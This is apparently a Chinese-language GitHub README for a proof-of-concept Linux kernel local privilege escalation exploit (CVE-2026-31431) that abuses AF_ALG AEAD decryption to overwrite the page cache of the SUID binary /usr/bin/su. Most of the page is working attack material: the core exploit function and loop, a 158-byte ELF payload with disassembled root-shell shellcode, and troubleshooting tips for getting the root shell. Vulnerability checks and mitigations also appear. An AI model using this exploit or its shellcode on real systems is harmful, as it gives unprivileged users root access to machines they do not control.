wesmar/CVE-2026-31431
GitHub: wesmar/CVE-2026-31431
该项目是 Linux 内核 AF_ALG 加密子系统中 CVE-2026-31431 漏洞的完整 PoC,通过在 AEAD 解密操作中利用页缓存引用错误,实现无磁盘痕迹的本地权限提升。
Stars: 3 | Forks: 0
# CVE-2026-31431 — 通过 AF_ALG 实现本地权限提升
[](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
[](https://github.com/wesmar/CVE-2026-31431/releases/latest/download/CVE-2026-31431.zip)
**自研可用漏洞利用程序 · Linux 内核 · AF_ALG 加密接口 (AEAD)**
*在内核页缓存中替换 `/usr/bin/su`,而不触及磁盘上的文件*
*只需本地 shell 访问权限 — 无需额外权限*
*影响未打补丁的 Linux 发行版*

## 📚 目录
- [此漏洞是什么](#what-is-this-vulnerability)
- [谁受到影响](#who-is-affected)
- [漏洞利用原理 — 逐步解析](#how-the-exploit-works--step-by-step)
- [攻击流程](#attack-flow)
- [漏洞利用代码分析](#exploit-code-analysis)
- [ELF 载荷 — 技术细节](#elf-payload--technical-details)
- [如何检查是否存在漏洞](#how-to-check-if-you-are-vulnerable)
- [缓解措施](#mitigations)
- [研究人员备注](#researcher-notes)
- [免责声明](#disclaimer)
## 此漏洞是什么
CVE-2026-31431 是 Linux 内核加密子系统中处理 scatter-gather I/O 操作和**页缓存**引用时存在的一个漏洞 — 具体位于 AEAD 算法的 `AF_ALG` socket 实现中(`crypto/af_alg.c`,`crypto/aead.c`)。
| 属性 | 值 |
|----------|-------|
| **标识符** | CVE-2026-31431 |
| **参考** | [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) |
| **类型** | 本地权限提升 (LPE) |
| **组件** | Linux 内核 — `AF_ALG` / AEAD (`authencesn`) |
| **所需权限** | 无特权本地用户 |
| **影响** | 交互式 `root` shell |
| **漏洞利用状态** | **有效的 PoC 已在 GitHub 上公开** |
| **持久性** | 无 — 修改仅存在于 RAM 中;重启即可恢复原始状态 |
### 实际发生了什么
Linux 内核通过 `AF_ALG` socket 向用户空间暴露了一个加密接口。该漏洞在于,在 AEAD 解密操作期间,内核**错误地将解密输出直接映射到源文件的页缓存页上** — 而不是临时缓冲区。攻击者从而可以在不修改磁盘文件、不需要 `root` 权限且不在文件系统中留下任何可见痕迹的情况下,覆盖任何文件的内存内容。
## 谁受到影响
| 系统 | 状态 |
|--------|--------|
| Ubuntu 24.04 (裸机 / 虚拟机) | ⚠️ 内核未打补丁时存在漏洞 |
| 未打补丁内核上的 Debian, Fedora, Arch | ⚠️ 存在漏洞 |
| 启用 `CONFIG_SECURITY_LOCKDOWN_LSM` 的发行版 | ✅ 可能受保护 |
| 启用 `nosuid` 或 `ProtectSUID` (systemd) 的系统 | ✅ 受保护 |
| 使用 AppArmor/SELinux 阻止 `AF_ALG` 的系统 | ✅ 受保护 |
| macOS, Windows (原生) | ✅ 不受影响 |
## 漏洞利用原理 — 逐步解析
该漏洞利用由两部分组成:位于 `/tmp/x` 的辅助脚本和基于 `AF_ALG` 的破坏循环。以下是基于源代码分析的详细步骤:
**1. 辅助脚本设置**
漏洞利用创建了具有以下内容的 `/tmp/x`:
```
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
```
它将权限设置为 `0755`。原因:`/usr/bin/su` 在启动时会剥离环境变量(包括 `TERM`)。辅助脚本在生成真正的 shell 之前会恢复它们,从而确保终端功能正常。
**2. ELF 载荷构造**
在内存中构建了一个包含原始 shellcode 的最小 158 字节 x86_64 ELF 二进制文件。然后通过 `memcmp`/`memcpy` 将偏移量 150 处的字符串 `/bin/sh` 被修补为 `/tmp/x\0`。有关详细信息,请参阅 [ELF 载荷](#elf-payload--technical-details)。
**3. 以只读方式打开 `/usr/bin/su`**
```
int su_fd = open("/usr/bin/su", O_RDONLY);
```
该文件以只读方式打开 — 漏洞利用完全不需要任何写入权限。
**4. 破坏循环 — 39 次迭代,每次 4 字节**
载荷(158 字节)被分成 4 字节的块进行处理(39 个完整块)。每个块都通过 `corrupt_binary_chunk()` 传递,该函数执行以下操作:
- 创建一个 `AF_ALG` socket (`SOCK_SEQPACKET`)
- 绑定到 `authencesn(hmac(sha256),cbc(aes))` — 一个复合 AEAD 算法
- 设置一个 72 字节的密钥和 4 字节的身份验证标签大小
- 接受一个操作 socket (`op_sock`)
- 使用 8 字节缓冲区(4× `'A'` + 4 个载荷字节)和三个 CMSG 发送 `sendmsg`:`ALG_OP_DECRYPT`、IV(20 字节)、`assoclen=8`
- 执行 `splice`:`su_fd → pipe → op_sock`(通过内核零复制)
- 通过 `recv()` 完成 — 这是内核错误覆盖页缓存的位置
**5. 执行**
```
execve("/usr/bin/su", args, NULL);
```
内核通过页缓存加载 `/usr/bin/su` — 而该缓存现已被污染。SUID 位(`chmod u+s`)完好无损,因此内核以 `root` 身份执行该文件。Shellcode 运行 `setuid(0)` → `execve("/tmp/x")` → 交互式 `root` shell。
## 攻击流程
```
flowchart TD
A[Unprivileged local user] --> B["Creates /tmp/x helper script\nchmod 0755"]
B --> C["Builds 158-byte ELF payload\nPatch: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nNo write permissions needed"]
D --> E[Loop: 39 chunks of 4 bytes]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: 72B key + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: 8B data + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\nzero-copy through kernel"]
K --> L[recv → finalise AEAD operation]
L --> M["KERNEL BUG: decryption output\noverwrites page cache of su_fd"]
M --> N{Next chunk?}
N -->|Yes| E
N -->|No| O["execve /usr/bin/su"]
O --> P["Kernel loads /usr/bin/su\nfrom poisoned page cache"]
P --> Q["SUID bit intact\nkernel executes as root"]
Q --> R["Shellcode: setuid 0 syscall 105"]
R --> S["execve /tmp/x syscall 59"]
S --> T[Interactive root shell]
```
## 漏洞利用代码分析
以下是 `exploit.c` 关键部分的审查:
### `corrupt_binary_chunk()` 函数
漏洞利用的核心。每次调用协调一个完整的 `AF_ALG` 事务:
```
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// Creates AF_ALG socket and binds to AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// 72-byte key + authentication tag size = 4 bytes
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// Buffer: 4x 'A' as associated data + 4 payload bytes
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSGs: DECRYPT operation / IV (20B, first byte 0x10) / assoclen=8
// sendmsg with MSG_MORE — data not yet complete
sendmsg(op_sock, &msg, MSG_MORE);
// zero-copy splice: su_fd → pipe → op_sock (offset+4 bytes)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv finalises the operation — kernel incorrectly writes to page cache of su_fd here
recv(op_sock, dummy, 8 + offset, 0);
}
```
### 主循环
```
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // skips last 2 bytes (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 complete chunks × 4 bytes = 156 bytes applied
```
## ELF 载荷 — 技术细节
该载荷是一个自包含的 158 字节 x86_64 ELF 二进制文件,包含原始 shellcode — 无动态链接器,无外部库。
| 字段 | 详情 |
|-------|---------|
| **总大小** | 158 字节 |
| **ELF 头** | 120 字节(`e_type=2` EXEC,`e_machine=62` x86_64) |
| **入口点** | `0x00400078` = 偏移量 120(紧跟在头部之后) |
| **Shellcode** | 30 字节(偏移量 120–149) |
| **目标字符串** | 偏移量 150 处的 8 字节(`/bin/sh\0` → 被修补为 `/tmp/x\0`) |
| **4 字节块** | 39 个完整块(156 字节);跳过最后的 2 字节 |
### Shellcode — 反汇编
```
; offset 120 — entry point 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (offset 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; offset 150
db "/tmp/x", 0, 0 ; (patched from "/bin/sh\0")
```
## 如何检查是否存在漏洞
### 步骤 1 — 检查内核版本
```
uname -r
```
将输出与 NIST 发布的易受攻击版本列表进行比较:[nvd.nist.gov/vuln/detail/CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
### 步骤 2 — 检查 AF_ALG 是否可用
```
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available — system may be vulnerable')"
```
如果命令返回 `[Errno 97] Address family not supported` — 则该模块已被禁用,风险显著降低。
### 步骤 3 — 检查 `/usr/bin/su` 上的 SUID
```
ls -la /usr/bin/su
```
如果存在 `s` 位(例如 `-rwsr-xr-x`) — 则 `/usr/bin/su` 设置了 SUID 并且是攻击向量。
## 缓解措施
| 缓解措施 | 如何应用 | 有效性 |
|------------|-------------|---------------|
| **内核更新** | `sudo apt update && sudo apt upgrade` + 重启 | ✅ 完全(当补丁可用时) |
| **将 AF_ALG 模块列入黑名单** | `echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf` | ✅ 阻断攻击向量 |
| **移除 `su` 的 SUID** | `sudo chmod u-s /usr/bin/su` | ✅ 阻断此漏洞利用(注意:`su` 将停止工作) |
| **以 `noexec` 方式挂载 `/tmp`** | 编辑 `/etc/fstab`:`tmpfs /tmp tmpfs noexec,nosuid 0 0` | ⚠️ 部分 — 阻断 `/tmp/x`,漏洞利用可能会使用其他路径 |
| **AppArmor / SELinux** | 为无特权用户配置阻止 `AF_ALG socket` 的策略 | ✅ 配置正确时有效 |
### 临时解决方法(在内核补丁可用之前)
```
# 若不需要则卸载 AF_ALG module
sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel — cannot unload"
# Alternatively — 暂时移除 SUID
sudo chmod u-s /usr/bin/su
```
## 研究人员备注
*本节适用于在隔离环境中分析该漏洞的安全研究人员。*
### `socket()` 或 `bind()` 失败
**症状:** `perror("socket")` 或 `perror("bind")` 触发退出。
**原因:**
1. 内核不支持 `AF_ALG` 或 `authencesn` 算法 — 检查:`cat /proc/crypto | grep authencesn`
2. 加载所需模块:`sudo modprobe hmac sha256 cbc aead authencesn`
3. AppArmor/SELinux 正在阻止 `AF_ALG` socket 创建 — 检查日志:`dmesg | tail -20`
### `splice()` 返回 `EPERM` / `EINVAL`
**症状:** Splice 操作被内核拒绝。
**原因:**
1. 验证 `su_fd` 指向的是常规文件,而不是符号链接或设备
2. 检查 `dmesg` 中是否存在阻止对加密 socket 进行零复制的审计日志条目
3. 验证没有 LSM 拦截该操作
### `execve` 生成普通用户 shell
**症状:** 没有 `root` 提示符;`id` 显示原始 UID。
**原因:**
1. `/usr/bin/su` 缺少 SUID 位 — `ls -la /usr/bin/su`,必须能看到 `s` 位
2. 页缓存可能在 `execve` 之前已被刷新 — 添加 `sync` 或减少循环延迟
3. 系统已包含针对 CVE-2026-31431 的补丁 — 验证内核版本
### 找不到 `/tmp/x` 或缺少 `TERM`
**症状:** Shell 已生成但终端渲染异常。
**原因:**
1. 确保 `/tmp` 可写且未以 `noexec` 方式挂载
2. `/tmp/x` 必须具有 `0755` 权限 — 验证:`ls -la /tmp/x`
3. 如果 `execve("/tmp/x")` 失败 — 可以重新修补 shellcode 以直接使用 `/bin/sh`
## 免责声明
所有商标均为其各自所有者的财产。Linux 及相关标志是 Linux Foundation 的商标。
*最后更新:2026-04-29*标签:0day挖掘, AEAD, AF_ALG, CVE-2026-31431, Linux内核, LPE, NVD, PoC, Web报告查看器, 任意代码执行, 内存损坏, 内核安全, 协议分析, 客户端加密, 密码学子系统, 提权漏洞, 暴力破解, 本地提权, 权限提升, 漏洞复现, 缓冲区错误, 网络安全, 隐私保护, 页面缓存